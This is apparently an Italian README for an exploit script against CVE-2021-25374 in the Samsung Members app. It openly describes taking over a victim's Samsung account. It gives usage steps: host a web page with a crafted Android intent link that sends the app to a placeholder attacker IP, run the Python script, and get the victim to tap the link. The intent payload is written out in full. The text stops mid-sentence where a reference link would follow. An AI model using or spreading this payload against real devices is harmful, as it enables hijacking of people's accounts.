CVE-2021-25374 - Script di Accesso all'Account Samsung

Questo script può essere utilizzato per ottenere l'accesso all'account Samsung di una vittima, se questa ha una versione specifica di Samsung Members installata sul proprio dispositivo Samsung e se il dispositivo della vittima proviene dalla regione USA o Corea.

Come utilizzare questo script:

1. Ospita un server web e fai in modo che ospiti una pagina web con il seguente link:

<a href="intent://launch?url=http://<attacker IP>:8000/yay.html&action=sso&from=ZZ&iso=ZZ#Intent;scheme=samsungrewards;package=com.samsung.android.voc;action=android.intent.action.VIEW;end;">yay click here yay</a>

NOTA: sostituisci "<attacker IP>" con l'indirizzo IP dal quale eseguirai questo script.

2. Esegui questo script

python3 ./samsung_account_access.py

3. Utilizzando un telefono Samsung, naviga verso il server web e clicca sul link

4. Lascia che lo script faccia il suo lavoro

Maggiori informazioni sul problema sfruttato da questo script sono disponibili qui: